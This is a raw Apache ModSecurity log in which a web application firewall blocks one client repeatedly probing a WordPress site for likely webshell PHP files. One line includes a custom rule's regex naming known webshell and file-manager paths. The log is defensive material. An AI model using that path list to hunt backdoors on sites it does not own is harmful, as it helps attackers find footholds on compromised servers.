[Mon Nov 17 05:07:49.420147 2025] [:error] [pid 39451:tid 39529] [client 48.218.71.119:6966] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/abc.php"] [unique_id "aRo9JefgkqXTS0SO3fBhOAAAAJU"]
[Mon Nov 17 05:07:49.971886 2025] [:error] [pid 39537:tid 39540] [client 48.218.71.119:6931] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/abc.php"] [unique_id "aRo9JYZRrh1pcrdcLB_MDgAAAMA"]
[Mon Nov 17 05:07:50.468318 2025] [:error] [pid 39451:tid 39532] [client 48.218.71.119:7117] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wpc1.php"] [unique_id "aRo9JufgkqXTS0SO3fBhPAAAAJg"]
[Mon Nov 17 05:07:50.829539 2025] [:error] [pid 40548:tid 40568] [client 48.218.71.119:7019] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wpc1.php"] [unique_id "aRo9JgM_PykfYnxh-j-iIgAAARI"]
[Mon Nov 17 05:07:51.201199 2025] [:error] [pid 39450:tid 39484] [client 48.218.71.119:7090] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wpc1.php"] [unique_id "aRo9J-oZqPB4_7vNEDSLEQAAAEM"]
[Mon Nov 17 05:07:51.803503 2025] [:error] [pid 40548:tid 40557] [client 48.218.71.119:7029] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wpc1.php"] [unique_id "aRo9JwM_PykfYnxh-j-iIwAAAQc"]
[Mon Nov 17 05:07:52.402678 2025] [:error] [pid 40548:tid 40572] [client 48.218.71.119:7080] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/ww.php"] [unique_id "aRo9KAM_PykfYnxh-j-iJQAAARY"]
[Mon Nov 17 05:07:52.932044 2025] [:error] [pid 39449:tid 39469] [client 48.218.71.119:6994] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/ww.php"] [unique_id "aRo9KKUCymTA3MDfzLODWQAAAA8"]
[Mon Nov 17 05:07:53.962096 2025] [:error] [pid 39450:tid 39501] [client 48.218.71.119:6932] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/ww.php"] [unique_id "aRo9KeoZqPB4_7vNEDSLJgAAAFQ"]
[Mon Nov 17 05:07:54.780863 2025] [:error] [pid 39450:tid 39505] [client 48.218.71.119:6942] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/ww.php"] [unique_id "aRo9KuoZqPB4_7vNEDSLKwAAAFg"]
[Mon Nov 17 05:07:55.340339 2025] [:error] [pid 39450:tid 39486] [client 48.218.71.119:6928] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/raw.php"] [unique_id "aRo9K-oZqPB4_7vNEDSLMgAAAEU"]
[Mon Nov 17 05:07:55.645792 2025] [:error] [pid 39537:tid 39548] [client 48.218.71.119:6922] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/raw.php"] [unique_id "aRo9K4ZRrh1pcrdcLB_MQQAAAMg"]
[Mon Nov 17 05:07:56.000444 2025] [:error] [pid 39451:tid 39513] [client 48.218.71.119:6950] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/raw.php"] [unique_id "aRo9K-fgkqXTS0SO3fBhPgAAAIU"]
[Mon Nov 17 05:07:56.666973 2025] [:error] [pid 39449:tid 39477] [client 48.218.71.119:7038] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/raw.php"] [unique_id "aRo9LKUCymTA3MDfzLODWwAAABc"]
[Mon Nov 17 05:07:57.169974 2025] [:error] [pid 39451:tid 39511] [client 48.218.71.119:6872] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/mah.php"] [unique_id "aRo9LefgkqXTS0SO3fBhPwAAAIM"]
[Mon Nov 17 05:07:57.547157 2025] [:error] [pid 40548:tid 40573] [client 48.218.71.119:7025] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/mah.php"] [unique_id "aRo9LQM_PykfYnxh-j-iKgAAARc"]
[Mon Nov 17 05:07:58.181817 2025] [:error] [pid 39449:tid 39465] [client 48.218.71.119:6945] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/mah.php"] [unique_id "aRo9LqUCymTA3MDfzLODXwAAAAs"]
[Mon Nov 17 05:07:58.589235 2025] [:error] [pid 39451:tid 39510] [client 48.218.71.119:7003] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/mah.php"] [unique_id "aRo9LufgkqXTS0SO3fBhQQAAAII"]
[Mon Nov 17 05:07:59.174368 2025] [:error] [pid 40548:tid 40554] [client 48.218.71.119:6952] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/p.php"] [unique_id "aRo9LwM_PykfYnxh-j-iMgAAAQQ"]
[Mon Nov 17 05:07:59.737842 2025] [:error] [pid 40548:tid 40555] [client 48.218.71.119:6930] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/p.php"] [unique_id "aRo9LwM_PykfYnxh-j-iMwAAAQU"]
[Mon Nov 17 05:08:00.005998 2025] [:error] [pid 39450:tid 39492] [client 48.218.71.119:6927] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/p.php"] [unique_id "aRo9MOoZqPB4_7vNEDSLVAAAAEs"]
[Mon Nov 17 05:08:00.482314 2025] [:error] [pid 39537:tid 39544] [client 48.218.71.119:7070] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/p.php"] [unique_id "aRo9MIZRrh1pcrdcLB_MTQAAAMQ"]
[Mon Nov 17 05:08:00.971398 2025] [:error] [pid 39449:tid 39467] [client 48.218.71.119:7087] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/xpas22.php"] [unique_id "aRo9MKUCymTA3MDfzLODZAAAAA0"]
[Mon Nov 17 05:08:01.519086 2025] [:error] [pid 40548:tid 40565] [client 48.218.71.119:7030] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/xpas22.php"] [unique_id "aRo9MQM_PykfYnxh-j-iPQAAAQ8"]
[Mon Nov 17 05:08:02.387899 2025] [:error] [pid 39537:tid 39563] [client 48.218.71.119:7150] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/xpas22.php"] [unique_id "aRo9MoZRrh1pcrdcLB_MVAAAANc"]
[Mon Nov 17 05:08:03.302829 2025] [:error] [pid 39537:tid 39542] [client 48.218.71.119:6960] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/xpas22.php"] [unique_id "aRo9M4ZRrh1pcrdcLB_MVwAAAMI"]
[Mon Nov 17 05:08:03.974025 2025] [:error] [pid 39451:tid 39514] [client 48.218.71.119:7000] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp1.php"] [unique_id "aRo9M-fgkqXTS0SO3fBhRgAAAIY"]
[Mon Nov 17 05:08:04.538498 2025] [:error] [pid 39537:tid 39544] [client 48.218.71.119:7014] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp1.php"] [unique_id "aRo9NIZRrh1pcrdcLB_MWQAAAMQ"]
[Mon Nov 17 05:08:05.170089 2025] [:error] [pid 39537:tid 39558] [client 48.218.71.119:6995] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp1.php"] [unique_id "aRo9NYZRrh1pcrdcLB_MWwAAANI"]
[Mon Nov 17 05:08:05.754459 2025] [:error] [pid 39451:tid 39516] [client 48.218.71.119:7022] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp1.php"] [unique_id "aRo9NefgkqXTS0SO3fBhSgAAAIg"]
[Mon Nov 17 05:08:06.308945 2025] [:error] [pid 39537:tid 39547] [client 48.218.71.119:6929] [client 48.218.71.119] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "www.measureyourbrand.com.au"] [uri "/fm.php"] [unique_id "aRo9NoZRrh1pcrdcLB_MXgAAAMc"]
[Mon Nov 17 05:08:06.730509 2025] [:error] [pid 39451:tid 39518] [client 48.218.71.119:7002] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/eauu.php"] [unique_id "aRo9NufgkqXTS0SO3fBhTAAAAIo"]
[Mon Nov 17 05:08:07.041327 2025] [:error] [pid 40548:tid 40554] [client 48.218.71.119:7092] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/eauu.php"] [unique_id "aRo9NwM_PykfYnxh-j-iUgAAAQQ"]
[Mon Nov 17 05:08:07.424823 2025] [:error] [pid 39450:tid 39495] [client 48.218.71.119:7046] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/eauu.php"] [unique_id "aRo9N-oZqPB4_7vNEDSLfAAAAE4"]
[Mon Nov 17 05:08:07.762890 2025] [:error] [pid 40548:tid 40574] [client 48.218.71.119:7010] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/eauu.php"] [unique_id "aRo9NwM_PykfYnxh-j-iVQAAARg"]
[Mon Nov 17 05:08:08.160715 2025] [:error] [pid 40548:tid 40569] [client 48.218.71.119:6935] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/css.php"] [unique_id "aRo9OAM_PykfYnxh-j-iWAAAARM"]
[Mon Nov 17 05:08:08.509320 2025] [:error] [pid 39449:tid 39458] [client 48.218.71.119:6990] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/css.php"] [unique_id "aRo9OKUCymTA3MDfzLODZwAAAAQ"]
[Mon Nov 17 05:08:09.195164 2025] [:error] [pid 39450:tid 39481] [client 48.218.71.119:6957] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/css.php"] [unique_id "aRo9OeoZqPB4_7vNEDSLjAAAAEA"]
[Mon Nov 17 05:08:09.574009 2025] [:error] [pid 39537:tid 39564] [client 48.218.71.119:6981] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/css.php"] [unique_id "aRo9OYZRrh1pcrdcLB_MYwAAANg"]
[Mon Nov 17 05:08:10.033352 2025] [:error] [pid 40548:tid 40555] [client 48.218.71.119:6919] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/ru.php"] [unique_id "aRo9OgM_PykfYnxh-j-iYQAAAQU"]
[Mon Nov 17 05:08:10.545232 2025] [:error] [pid 39451:tid 39517] [client 48.218.71.119:6934] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/ru.php"] [unique_id "aRo9OufgkqXTS0SO3fBhUwAAAIk"]
[Mon Nov 17 05:08:11.209441 2025] [:error] [pid 39537:tid 39547] [client 48.218.71.119:7006] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/ru.php"] [unique_id "aRo9O4ZRrh1pcrdcLB_MZwAAAMc"]
[Mon Nov 17 05:08:11.656604 2025] [:error] [pid 39451:tid 39532] [client 48.218.71.119:7041] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/ru.php"] [unique_id "aRo9O-fgkqXTS0SO3fBhVQAAAJg"]
[Mon Nov 17 05:08:12.370228 2025] [:error] [pid 39450:tid 39493] [client 48.218.71.119:6949] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/tmpls.php"] [unique_id "aRo9POoZqPB4_7vNEDSLlwAAAEw"]
[Mon Nov 17 05:08:13.201154 2025] [:error] [pid 39451:tid 39528] [client 48.218.71.119:7036] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/tmpls.php"] [unique_id "aRo9PefgkqXTS0SO3fBhWwAAAJQ"]
[Mon Nov 17 05:08:13.756272 2025] [:error] [pid 39537:tid 39558] [client 48.218.71.119:6940] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/tmpls.php"] [unique_id "aRo9PYZRrh1pcrdcLB_MegAAANI"]
[Mon Nov 17 05:08:19.699033 2025] [:error] [pid 39450:tid 39504] [client 48.218.71.119:7008] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/moon.php"] [unique_id "aRo9Q-oZqPB4_7vNEDSLrAAAAFc"]
[Mon Nov 17 05:08:20.461060 2025] [:error] [pid 39537:tid 39560] [client 48.218.71.119:7085] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/moon.php"] [unique_id "aRo9RIZRrh1pcrdcLB_MqQAAANQ"]
[Mon Nov 17 05:08:20.835869 2025] [:error] [pid 39537:tid 39554] [client 48.218.71.119:7084] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/moon.php"] [unique_id "aRo9RIZRrh1pcrdcLB_MrQAAAM4"]
[Mon Nov 17 05:08:21.395182 2025] [:error] [pid 40548:tid 40563] [client 48.218.71.119:6858] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/moon.php"] [unique_id "aRo9RQM_PykfYnxh-j-ifQAAAQ0"]
[Mon Nov 17 05:08:21.705717 2025] [:error] [pid 39537:tid 39555] [client 48.218.71.119:6987] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wio.php"] [unique_id "aRo9RYZRrh1pcrdcLB_MtwAAAM8"]
[Mon Nov 17 05:08:22.556453 2025] [:error] [pid 39449:tid 39471] [client 48.218.71.119:7032] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wio.php"] [unique_id "aRo9RqUCymTA3MDfzLODdAAAABE"]
[Mon Nov 17 05:08:23.077810 2025] [:error] [pid 39450:tid 39493] [client 48.218.71.119:6786] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wio.php"] [unique_id "aRo9R-oZqPB4_7vNEDSLrgAAAEw"]
[Mon Nov 17 05:08:23.504405 2025] [:error] [pid 39537:tid 39555] [client 48.218.71.119:6954] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wio.php"] [unique_id "aRo9R4ZRrh1pcrdcLB_MyAAAAM8"]
[Mon Nov 17 05:08:24.193060 2025] [:error] [pid 39450:tid 39488] [client 48.218.71.119:6962] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/oswkk.php"] [unique_id "aRo9SOoZqPB4_7vNEDSLsAAAAEc"]
